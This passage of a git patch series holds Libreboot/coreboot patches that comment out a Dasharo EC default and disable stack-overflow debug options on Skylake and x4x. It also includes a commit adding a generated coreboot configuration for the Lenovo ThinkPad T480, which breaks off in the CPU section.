01:16:01 +0000 +Subject: [PATCH 1/1] ec/dasharo: Comment EC_DASHARO_EC_FLASH_SIZE + +We don't use anything dasharo in Libreboot. + +This patch prevents the following config item appearing +in T480 and 3050 Micro configs: + +CONFIG_EC_DASHARO_EC_FLASH_SIZE=0x20000 + +Otherwise, make-oldconfig adds it automatically. + +Signed-off-by: Leah Rowe +--- + src/ec/dasharo/ec/Kconfig | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/ec/dasharo/ec/Kconfig b/src/ec/dasharo/ec/Kconfig +index 901d3ce514..071e37f95e 100644 +--- a/src/ec/dasharo/ec/Kconfig ++++ b/src/ec/dasharo/ec/Kconfig +@@ -28,4 +28,4 @@ config EC_DASHARO_EC_UPDATE_FILE + + config EC_DASHARO_EC_FLASH_SIZE + hex +- default 0x20000 ++ # default 0x20000 +-- +2.39.5 + diff --git a/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch b/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch new file mode 100644 index 000000000..843700894 --- /dev/null +++ b/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch @@ -0,0 +1,61 @@ +From 00b6459a9b360b16529036d9b1e10c977228a7ff Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Mon, 6 Jan 2025 01:36:23 +0000 +Subject: [PATCH 1/1] src/intel/skylake: Disable stack overflow debug options + +The option was appearing in T480/3050micro configs of lbmk, +after updating on the coreboot/next uprev for 20241206 rev8: + +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y + +I did some digging. See coreboot commit: + +commit 51cc2bacb6b07279b97e9934d079060475481fb6 +Author: Subrata Banik +Date: Fri Dec 13 13:07:28 2024 +0530 + + soc/intel/pantherlake: Disable stack overflow debug options + +Well now: + +I'm disabling this behaviour on Skylake, for the same +behaviour, because I want as few behaviour changes in general, +as possible, for the rev8 release. + +According to Subrata's patch, which was for Pantherlake, +without this change, stack corruption can occur on verstage +and romstage early on. Please look at that coreboot patch, +referenced above, for clarity. + +I see no harm in disabling this option for Skylake, since +the behaviour that it otherwise enables was not present +before. + +Signed-off-by: Leah Rowe +--- + src/soc/intel/skylake/Kconfig | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig +index 8e25f796ed..7d324e15ea 100644 +--- a/src/soc/intel/skylake/Kconfig ++++ b/src/soc/intel/skylake/Kconfig +@@ -130,6 +130,15 @@ config DCACHE_RAM_SIZE + The size of the cache-as-ram region required during bootblock + and/or romstage. + ++# Override DEBUG Kconfig to avoid false alarm about stack overflow. ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS ++ bool ++ default n ++ ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS_IN_ALL_STAGES ++ bool ++ default n ++ + config DCACHE_BSP_STACK_SIZE + hex + default 0x20400 if FSP_USES_CB_STACK +-- +2.39.5 + diff --git a/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch b/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch new file mode 100644 index 000000000..e2eae2a93 --- /dev/null +++ b/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch @@ -0,0 +1,33 @@ +From 5671d54d347b110ffade5b8b6e2d052612a8716c Mon Sep 17 00:00:00 2001 +From: Leah Rowe +Date: Mon, 6 Jan 2025 01:53:53 +0000 +Subject: [PATCH 1/1] src/intel/x4x: Disable stack overflow debug + +Signed-off-by: Leah Rowe +--- + src/northbridge/intel/x4x/Kconfig | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/src/northbridge/intel/x4x/Kconfig b/src/northbridge/intel/x4x/Kconfig +index 097e11126c..7e4e14cf94 100644 +--- a/src/northbridge/intel/x4x/Kconfig ++++ b/src/northbridge/intel/x4x/Kconfig +@@ -28,6 +28,15 @@ config ECAM_MMCONF_BUS_NUMBER + int + default 256 + ++# Override DEBUG Kconfig to avoid false alarm about stack overflow. ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS ++ bool ++ default n ++ ++config DEBUG_STACK_OVERFLOW_BREAKPOINTS_IN_ALL_STAGES ++ bool ++ default n ++ + # This number must be equal or lower than what's reported in ACPI PCI _CRS + config DOMAIN_RESOURCE_32BIT_LIMIT + default 0xfec00000 +-- +2.39.5 + From b101d312ef3e9c824df2f04f62a1578cc5d3f739 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Tue, 4 Feb 2025 11:21:36 +0100 Subject: [PATCH 487/619] Add coreboot config for T480 Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 895 ++++++++++++++++++++++++++++++++++++ 1 file changed, 895 insertions(+) create mode 100644 config/coreboot-t480.config diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config new file mode 100644 index 000000000..8f61a2b08 --- /dev/null +++ b/config/coreboot-t480.config @@ -0,0 +1,895 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ANY_TOOLCHAIN=y +# CONFIG_CCACHE is not set +# CONFIG_LTO is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set +# CONFIG_BOOTSPLASH_IMAGE is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set +CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set +# CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set +CONFIG_MAINBOARD_FAMILY="T480" +CONFIG_MAINBOARD_PART_NUMBER="T480" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/sklkbl_thinkpad" +CONFIG_VGA_BIOS_ID="8086,0406" +CONFIG_DIMM_MAX=2 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +# CONFIG_NO_POST is not set +CONFIG_MAINBOARD_VENDOR="LENOVO" +CONFIG_CBFS_SIZE=0xEEC000 +CONFIG_CONSOLE_SERIAL=y +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_POST_DEVICE=y +CONFIG_POST_IO=y +CONFIG_UART_FOR_CONSOLE=0 +CONFIG_VARIANT_DIR="t480" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +# CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="T480" +# CONFIG_CONSOLE_POST is not set +CONFIG_MAX_SOCKET=1 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_USE_LEGACY_8254_TIMER=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y +CONFIG_IFD_BIN_PATH="@BLOB_DIR@/t480/ifd_16" +CONFIG_ME_BIN_PATH="@BLOB_DIR@/t480/me.bin" +CONFIG_GBE_BIN_PATH="@BLOB_DIR@/t480/gbe" +CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_DEBUG_SMI is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set +CONFIG_HAVE_IFD_BIN=y +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M900_TINY is not set +# CONFIG_BOARD_LENOVO_M920Q is not set +# CONFIG_BOARD_LENOVO_S230U is not set +CONFIG_BOARD_LENOVO_T480=y +# CONFIG_BOARD_LENOVO_T480S is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_M710S is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_THINKPADEC_HKEY_EISAID="IBM0068" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +CONFIG_BOARD_LENOVO_SKLKBL_THINKPAD_COMMON=y +CONFIG_LENOVO_TBFW_BIN="@BLOB_DIR@/t480/tb.bin" +CONFIG_TTYS0_BAUD=115200 +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +CONFIG_DRIVERS_UART_8250IO=y +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 +CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" +CONFIG_TPM_MEASURED_BOOT=y +CONFIG_LINUX_COMMAND_LINE="" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" +CONFIG_FSP_M_FILE="@BLOB_DIR@/t480/Fsp_M.fd" +CONFIG_FSP_S_FILE="@BLOB_DIR@/t480/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="sklkbl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=24 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" +CONFIG_SOC_INTEL_COMMON_DEBUG_CONSENT=0 +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_FSP_PUBLISH_MBP_HOB=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_MAX_HECI_DEVICES=5 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y +CONFIG_SOC_INTEL_KABYLAKE=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_GFX_HAVE_DDI_A_BIFURCATION=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SA_ENABLE_DPR=y +CONFIG_HAVE_CAPID_A_REGISTER=y +CONFIG_HAVE_BDSM_BGSM_REGISTER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_MMA is not set +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# 